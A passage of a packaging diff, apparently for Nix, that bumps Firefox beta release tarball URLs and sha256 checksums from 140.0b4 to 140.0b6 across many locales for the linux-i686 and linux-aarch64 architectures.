-      sha256 = "ea608343fba2138887a168ad3251493dea1f537e08745f3108f6962364d47f34";
+      sha256 = "5370c6da3f46aef9026846bc5bc0566fb90a32aa0754db8fae8b607a4d2a43fd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/ja/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/ja/firefox-140.0b6.tar.xz";
       locale = "ja";
       arch = "linux-i686";
-      sha256 = "5977a78da473ce233e8d48034f6a04ac519888189cd4f4b3bf314ead6a7b74e9";
+      sha256 = "9d08742f62ae6ca7b165f2f96bf6271d2cf0046d7193c8b9f2cdb34d03b96859";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/ka/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/ka/firefox-140.0b6.tar.xz";
       locale = "ka";
       arch = "linux-i686";
-      sha256 = "d4874532ae1e9afe9b4c77ba064cec618cb48c8d90d6e5941fecde77c37c29d7";
+      sha256 = "1f02ea4d7ef27f1a3d91619c36bd7792ae98f372ead28eb113855b8fd04ab910";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/kab/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/kab/firefox-140.0b6.tar.xz";
       locale = "kab";
       arch = "linux-i686";
-      sha256 = "0a453f53f7e88968f09c8697193aaadf2a0e7036d8a8ed01c7b54b38e61fd8a9";
+      sha256 = "6fa89a1a815c47a995ff59d07146d61cd7d89c2bcb9ccea47487b50c532924a1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/kk/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/kk/firefox-140.0b6.tar.xz";
       locale = "kk";
       arch = "linux-i686";
-      sha256 = "62279adb30aa4c792beef58eff120112fa9151abd1f74bf40d6f2cd097d453b8";
+      sha256 = "6753dc18bb24785def22e0dca28396b78d68844bd6938e3dcaeaba1065e2d3ae";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/km/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/km/firefox-140.0b6.tar.xz";
       locale = "km";
       arch = "linux-i686";
-      sha256 = "8bfb8f1af400e143c3f795aeecbec5652d9cde304a6551e5bfcbf7cb2a8cc676";
+      sha256 = "9a1a7159d5c46f610aed98e90cacbbd212d20ff728aa4c631e162fbaf6d8406c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/kn/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/kn/firefox-140.0b6.tar.xz";
       locale = "kn";
       arch = "linux-i686";
-      sha256 = "5b1ed6ee0e97d89cc83bf4f8408b409f5e0aeda5b68dbf7fbe2d9867cfc8f4d9";
+      sha256 = "cb088595f1d75e551abd1d73d6a538b4cbb8bad5b6ec01e56fefcc10fd9e0706";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/ko/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/ko/firefox-140.0b6.tar.xz";
       locale = "ko";
       arch = "linux-i686";
-      sha256 = "04747f583bf7cf9035a52e584ca76c84798830ccc74c8f6faa46a5af4df74011";
+      sha256 = "4e4804dd60447ca1e679f8d47dc6135e1f3206b7b43af6dd005e022802f6b48c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/lij/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/lij/firefox-140.0b6.tar.xz";
       locale = "lij";
       arch = "linux-i686";
-      sha256 = "432359d0dfcafeabdb98e7baead22a23c1e9a2e30ad6cdba88fd7f2fbfc9ba8e";
+      sha256 = "9c5d5b72d87a7c264bd7f3c7dba35396ce1ccdd8c65849b00be6eee217f4d3f7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/lt/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/lt/firefox-140.0b6.tar.xz";
       locale = "lt";
       arch = "linux-i686";
-      sha256 = "3aaf5547d7a0e5cb1fe120de403650a682579540cd4411d113bed81c9e0ee781";
+      sha256 = "c5d223f1330fb422e93cfcb3260e1c01304b0d6fb679eebdfeff03981b83c359";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/lv/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/lv/firefox-140.0b6.tar.xz";
       locale = "lv";
       arch = "linux-i686";
-      sha256 = "2af656a600c244eb615b21e204336bd28549648dc1af363e08ffb8802565f9b4";
+      sha256 = "114b816891f56fdcea51d1f884bb8296f6ec2d4f681606369d5dfc9ec9e2fdb6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/mk/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/mk/firefox-140.0b6.tar.xz";
       locale = "mk";
       arch = "linux-i686";
-      sha256 = "c0c62629f81a5bb1e1ec256269b2285bbaef67caec7d1c4b8ad8102a72abf180";
+      sha256 = "6b5b923590b1fe5f44dd9c66786a975a1daaa960d347ebafb4f4e68944d3cc44";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/mr/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/mr/firefox-140.0b6.tar.xz";
       locale = "mr";
       arch = "linux-i686";
-      sha256 = "dab2b1103c27706124fe8f4f8ff059baf21151cf0e50f8fce2ce40788545a5cd";
+      sha256 = "74ea9528539de6d1eb5ca192771086f8b0de3605fe1832ec2e36f34b5bac6888";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/ms/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/ms/firefox-140.0b6.tar.xz";
       locale = "ms";
       arch = "linux-i686";
-      sha256 = "4c4872d23b305cc66b7efcd0d36065ad3aefedf0e0fc53f05881c3708be5782a";
+      sha256 = "a91bf31e8d1d10e8e9130fd17b51746ef82d97c0bfe13315234d84307e1545e8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/my/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/my/firefox-140.0b6.tar.xz";
       locale = "my";
       arch = "linux-i686";
-      sha256 = "900e5e7cdb64fc9e1dd966d1fbdcbe2c8086c1ab2be54d2d9f1c2fddb0673cef";
+      sha256 = "00d39a9f695533772299e360e37a9802e3a3c4b6f1abc9c497c463005ea1574a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/nb-NO/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/nb-NO/firefox-140.0b6.tar.xz";
       locale = "nb-NO";
       arch = "linux-i686";
-      sha256 = "1299f2becf8ab50225fb68d18d1345754d43334d30aa5f3500d674278208b777";
+      sha256 = "974b886f74d31d85d895235de365d3f0b600ff6e7a3f30c79d5ce7752e379f7f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/ne-NP/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/ne-NP/firefox-140.0b6.tar.xz";
       locale = "ne-NP";
       arch = "linux-i686";
-      sha256 = "cf41fc923f63a7f1a4bf720cb3a8fa1595ef92d121d729d7e902cffefaa852fe";
+      sha256 = "e1eee217e3b7b553b4ca8d558efba40b2edde4ed638953d1e6a0915c175b49fe";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/nl/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/nl/firefox-140.0b6.tar.xz";
       locale = "nl";
       arch = "linux-i686";
-      sha256 = "84b2cbff63025fab413175ad49c47ea734f0823b8eeee7676789f9c27bb9de23";
+      sha256 = "c54d599a561e854b9ceff273d33b80ecb309a5020e49d8048b2ea66c1cdde8b7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/nn-NO/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/nn-NO/firefox-140.0b6.tar.xz";
       locale = "nn-NO";
       arch = "linux-i686";
-      sha256 = "818e77d80fd86e8e27460b8f629f05215c985a80a275f30f3864821d6619db30";
+      sha256 = "e75f486146d99c1cc914676ac94fb1525f560a1de0c75c34d07271d6186e019a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/oc/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/oc/firefox-140.0b6.tar.xz";
       locale = "oc";
       arch = "linux-i686";
-      sha256 = "5636ac4f5757edde5867ad0d186e6d779dde239fc302962b7f257a5428a5a87c";
+      sha256 = "6bf3e0d03d5322ad4b1201ece3f5e0a5cae2af55fa05b60ab49cb6baa5dc4867";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/pa-IN/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/pa-IN/firefox-140.0b6.tar.xz";
       locale = "pa-IN";
       arch = "linux-i686";
-      sha256 = "b033beca5afb4fb0c8715d29f2d9e6b0bdb2115d63ff8d5552adc1ebb86f18e4";
+      sha256 = "3a992433e2e830936b1058ad2d367fb350f6c15664244557248b405d2c954b08";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/pl/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/pl/firefox-140.0b6.tar.xz";
       locale = "pl";
       arch = "linux-i686";
-      sha256 = "afeb6ddc491281c001dc98c177bb19120d46fe3d738f777daa2f9c0582faa828";
+      sha256 = "da7da39491ac13769a6673b4e6f126c156dd2913ab6d620ca1055a72aaac5254";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/pt-BR/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/pt-BR/firefox-140.0b6.tar.xz";
       locale = "pt-BR";
       arch = "linux-i686";
-      sha256 = "b0d75cf5e760cd505c397dff4fcaafd8f0bed1b416c40beeaa297912b1110f44";
+      sha256 = "eea15f6e8b4b044dcea2031611fe076aab859bbf402908cfb2910e892ce0ee18";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/pt-PT/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/pt-PT/firefox-140.0b6.tar.xz";
       locale = "pt-PT";
       arch = "linux-i686";
-      sha256 = "e1c7cbe5bc38bbeed8cd3abd05ef956366e2f398b70e42b3007342a4e61760bd";
+      sha256 = "5fdb682b34ca8d49c684752b9e02c87220b90324e1ca80a364aabf91e41666b3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/rm/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/rm/firefox-140.0b6.tar.xz";
       locale = "rm";
       arch = "linux-i686";
-      sha256 = "ab26f4fb5846a8eca415748e69dc37f33a6d3ab91ff0db384d627553a69fe9a4";
+      sha256 = "49e7c74c44294802392928abc00d2602c3f2154ec04e6f48b6a612cfb24cc43b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/ro/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/ro/firefox-140.0b6.tar.xz";
       locale = "ro";
       arch = "linux-i686";
-      sha256 = "483e633f4e2922e521c0492d47d420fcb5a1ff7209d7f42c58952c5e7705fb44";
+      sha256 = "ba5e9d888d7416c25882776486cbf8f2098c676dd4f2d56ab65b506477949451";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/ru/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/ru/firefox-140.0b6.tar.xz";
       locale = "ru";
       arch = "linux-i686";
-      sha256 = "dcd3441f6f5a9390407f2794f8d747511215246f5c9a85ac4d6b704bd4bbff9e";
+      sha256 = "219cf4ad9f20736b7d0f6d018daeb39f2410f5bd70abd8b3329d6e5a461ed495";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/sat/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/sat/firefox-140.0b6.tar.xz";
       locale = "sat";
       arch = "linux-i686";
-      sha256 = "1fa56ccd4d66542467487d17ee7e95f847f0920774692a03da8cc14f1cf2ac70";
+      sha256 = "64ab98b82919db52ea2434fff7d65f82b4283370c694e42315023477d84344ec";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/sc/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/sc/firefox-140.0b6.tar.xz";
       locale = "sc";
       arch = "linux-i686";
-      sha256 = "d626a423d3d02011a9a5090633595add37d6c99fc741ec96a1a66761312bc1ea";
+      sha256 = "7b167dd8f162d5235bee196db9c4855caf819bc8731d1ec7156a37b55acb52f4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/sco/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/sco/firefox-140.0b6.tar.xz";
       locale = "sco";
       arch = "linux-i686";
-      sha256 = "3d8c5bc791c943e82b678918f3459471a3ababef8e44e9ee4257f036b552b813";
+      sha256 = "2d8b1adc2b3d34d621ef2bca5020e41e89f9e8534ab6d91e56a4ad3ed04e7b97";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/si/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/si/firefox-140.0b6.tar.xz";
       locale = "si";
       arch = "linux-i686";
-      sha256 = "980d3542c6c25d306e1b24404731554d4a21157eb1bf5fc17ab31949d2e5e563";
+      sha256 = "e12f2ec9b3ca80de69c96fd7d4f208ca8d7555e436c7848202b65c043af64e3c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/sk/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/sk/firefox-140.0b6.tar.xz";
       locale = "sk";
       arch = "linux-i686";
-      sha256 = "055076bedecfbf77818bc70c0d69b6deacc4ac9f015bc419738b1dfbb499e6ea";
+      sha256 = "cb16aa9355ef7e8eb43b18d19f9dbdc0bbea9fc36a1ab13317678de0e2af6a24";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/skr/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/skr/firefox-140.0b6.tar.xz";
       locale = "skr";
       arch = "linux-i686";
-      sha256 = "72856c1bfacaf66461ea1cef6cbe5481787751674e6a79b89997aaa23880ab52";
+      sha256 = "e56e34598b0ec80d599dce78cd2d4c9859468eb2cb2877da53ce529baa38da31";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/sl/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/sl/firefox-140.0b6.tar.xz";
       locale = "sl";
       arch = "linux-i686";
-      sha256 = "366b072e83d350147ef916e8386db402e0dd2ac0d086d7b1242f8dfd91c00cc2";
+      sha256 = "21de66e4aeb3f66fea37be933f4b8a376c0048297768d88c0f1a65f4d5f09f8c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/son/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/son/firefox-140.0b6.tar.xz";
       locale = "son";
       arch = "linux-i686";
-      sha256 = "3d4a4fea98df1c0013371f96db1e95d3b8266a5a773cb2ecc4f58ab7d4522c27";
+      sha256 = "541a51db2ee1d8854fe949901ebb15c0f6969f87bdffa1815bc4a6ef93321570";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/sq/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/sq/firefox-140.0b6.tar.xz";
       locale = "sq";
       arch = "linux-i686";
-      sha256 = "195ebd91159fc04d11a34801d7b0871b5b998f401e8c4e3cc516113bf067b7c8";
+      sha256 = "0584176b701fcd82ecb53723ebbb793846680873adaca5b1b32abe8e149ed1e7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/sr/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/sr/firefox-140.0b6.tar.xz";
       locale = "sr";
       arch = "linux-i686";
-      sha256 = "95431dd518de2fe5a679e8635f6e3cdfa3ae99d7b42eb93ef8591b6bb5ee0d1d";
+      sha256 = "23936d0de1043c74b1e971d7ca721324016d98158781b517ce024beef092412c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/sv-SE/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/sv-SE/firefox-140.0b6.tar.xz";
       locale = "sv-SE";
       arch = "linux-i686";
-      sha256 = "5cc49bda64618b9e07ad9d1b6af8625bc3a7ca158467ec880836bd20a2a08dbb";
+      sha256 = "bae54d47460f3c11773d252f3e1029e754bc4d6e3ce273ca584146054a7b2acc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/szl/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/szl/firefox-140.0b6.tar.xz";
       locale = "szl";
       arch = "linux-i686";
-      sha256 = "f6d2d95427f8eb184d600b101e0bd3ab78580f837765eee297c022cd2e603433";
+      sha256 = "d2419e9f0a9f72d4ebce03887489af6d7b5a997e7d7334ff893ef18e44c84763";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/ta/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/ta/firefox-140.0b6.tar.xz";
       locale = "ta";
       arch = "linux-i686";
-      sha256 = "f5ef3477f4fdd8708908b2cf41486c0083ee9724d6f313cb28f24abf3f26a156";
+      sha256 = "8c3cadbded3754fc10a0b261cabe28a0b68d1185403f0d37849d455778aeae78";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/te/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/te/firefox-140.0b6.tar.xz";
       locale = "te";
       arch = "linux-i686";
-      sha256 = "f41f2fdd0d2cdfb76eb440e8ea7756368ddc4285736bfe604c65b03df42061ec";
+      sha256 = "6bbd734e9ddb18d4ea281da0beed20a601196b9a720438d6697efdb30508ad75";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/tg/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/tg/firefox-140.0b6.tar.xz";
       locale = "tg";
       arch = "linux-i686";
-      sha256 = "815ea87b2552b0c6093bf6dbaec6dfc660d3625f44f2bf042b5869e42c23e25e";
+      sha256 = "adb666a98cf8648a4633206020e27517ad39cb950c248541b9434f21446288ee";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/th/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/th/firefox-140.0b6.tar.xz";
       locale = "th";
       arch = "linux-i686";
-      sha256 = "a58b8c1730cd066c5dfc26e8d2d4d3b6557a72a0c680e4163c43279c671c5ec4";
+      sha256 = "0179b0d20e57e6cb67da17f28d2391a3318a550227e752e1906d0c579aab6a3f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/tl/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/tl/firefox-140.0b6.tar.xz";
       locale = "tl";
       arch = "linux-i686";
-      sha256 = "817db84221e7361a7c932d0880c6e82aa7a64552931e015c4c4694c1ab9ea253";
+      sha256 = "6124e86e5d986a503a6fd0c185057162ea3540503d80999eafe3a34680e0bad6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/tr/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/tr/firefox-140.0b6.tar.xz";
       locale = "tr";
       arch = "linux-i686";
-      sha256 = "909252098ca36f93de56732fd0762fdd041657559d42a7200c821115b38980aa";
+      sha256 = "149b8bb8c8dd85ab43deb6dbc400f3d4959b557d10a67cf92b6f79d47e738695";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/trs/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/trs/firefox-140.0b6.tar.xz";
       locale = "trs";
       arch = "linux-i686";
-      sha256 = "e1c4ad015d1e3565c4435e769bc59d5bff953f719123a330f8e37c43833881a2";
+      sha256 = "4f0cf978ecf62cd4a923a18fb5044796bbb2efc6338e1cf27bff9c349183bacf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/uk/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/uk/firefox-140.0b6.tar.xz";
       locale = "uk";
       arch = "linux-i686";
-      sha256 = "0e31db03a117def0867bcf5d3e1acc7ebaff9daf4325cf3be548e72bb09057e0";
+      sha256 = "51c0ebe8f9b5281babb44870bff97ad02398a55404776c1661174ef988a1c0f8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/ur/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/ur/firefox-140.0b6.tar.xz";
       locale = "ur";
       arch = "linux-i686";
-      sha256 = "63ef448ad869a987cb0e7756f25e81e7d1c6bc083048e7eb49dbf5100626879c";
+      sha256 = "bc98672543b6462ae5178df9fe930326cb8b9e4def69a6a3d8ce282fdb090261";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/uz/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/uz/firefox-140.0b6.tar.xz";
       locale = "uz";
       arch = "linux-i686";
-      sha256 = "77d9943bb83a8b1b42f448b0e3e0c3cee11a1ea0bb1dae18ba52c52ed5a7d7df";
+      sha256 = "f22197a95cec99fa2cc84f6295d9eeb6c6f3f5faf3aaf7508c1506569bbb4fc0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/vi/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/vi/firefox-140.0b6.tar.xz";
       locale = "vi";
       arch = "linux-i686";
-      sha256 = "c47d720da1f5aeae9d8429ed71f1044275888751a0c217a6a534e61e9f4dfdec";
+      sha256 = "24d60c5620a29e75af5a43593d7c2229bcb4aa708d01ab40cae92269b59df25c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/xh/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/xh/firefox-140.0b6.tar.xz";
       locale = "xh";
       arch = "linux-i686";
-      sha256 = "8f4530d50019aeedf2d059135acc6ed42147f86d98ee7defaee5ae2d826c4821";
+      sha256 = "95190a46cd3041b6624160a75c37319eade659b3b154419b3b95ed670cbf2e90";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/zh-CN/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/zh-CN/firefox-140.0b6.tar.xz";
       locale = "zh-CN";
       arch = "linux-i686";
-      sha256 = "59f60c919eb0d331166eeb9d76449c0a57593e82061a9d3319d680253ecaa503";
+      sha256 = "d3da8d8f8eaab4d6447199f9e5108f292883c79ba5c7cd48ae4dd1f2d9bcd2d0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/zh-TW/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/zh-TW/firefox-140.0b6.tar.xz";
       locale = "zh-TW";
       arch = "linux-i686";
-      sha256 = "c6c71d581e46b18e48fa76699835ae7bdbb11033366674f9e1d2be0cfcab80bd";
+      sha256 = "b0afc944c042e4dc8a98f3cf1701693a98c2f8d230be21d35b7bc474d2496065";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/ach/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/ach/firefox-140.0b6.tar.xz";
       locale = "ach";
       arch = "linux-aarch64";
-      sha256 = "241018608d47cb0d022e323e968922b082acd7064b3ca8e7bafe665ff23c9b3e";
+      sha256 = "5b15edca7ba886bfcb34bee6c08cda64f757a848a20ea91450ceb75555351f8b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/af/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/af/firefox-140.0b6.tar.xz";
       locale = "af";
       arch = "linux-aarch64";
-      sha256 = "f8ae5994e39898cf2611db052640f7eff4425c5c7d94107491173f900245df32";
+      sha256 = "e778e95f524f7f5cc69171caac0475712ae05b278d6737fff9b0a2d00ae78ff1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/an/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/an/firefox-140.0b6.tar.xz";
       locale = "an";
       arch = "linux-aarch64";
-      sha256 = "4a18c94a3ec5544664a89c9cedd5e25c5b15ff41cce68890a7f2036a720c9b1a";
+      sha256 = "9b902942c9f8c9d74a37b91d6c2f950a56bd56e1db6f626552e1a4b5eead83cb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/ar/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/ar/firefox-140.0b6.tar.xz";
       locale = "ar";
       arch = "linux-aarch64";
-      sha256 = "3478f78815017cb30bff0946399ddddd15f90a739213c4e54f8e09602c76df83";
+      sha256 = "97157acefcec8cd9a5564a12f1c08c084891f22c70dea4eaca301c3a9e711876";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/ast/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/ast/firefox-140.0b6.tar.xz";
       locale = "ast";
       arch = "linux-aarch64";
-      sha256 = "fec697046bdc9c5edfda4ab3f6df1df84819a3ea7b46250f20722b05ea356dc1";
+      sha256 = "4cc18776eb262ffb699f58d96312eace21cefc7d88673568e585a07ca37173bb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/az/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/az/firefox-140.0b6.tar.xz";
       locale = "az";
       arch = "linux-aarch64";
-      sha256 = "78a68fba1f9dfec4510bb2cd493d82fcac31801bb7bb5718f8afeb57940870c1";
+      sha256 = "2ff4833d379ae47a2365fd72570b3e230ee3acec037bdeb432b3caaf6b013a3f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/be/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/be/firefox-140.0b6.tar.xz";
       locale = "be";
       arch = "linux-aarch64";
-      sha256 = "8e27d99cdad038331140386da3749f2c85afd5cffdf8afdf9b35a735027a690d";
+      sha256 = "e7553858a06e1a1f35bf9f3da91b2b367e5c203221ad8fc064359b5b6c60cf07";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/bg/firefox-140.0b4.tar.xz";
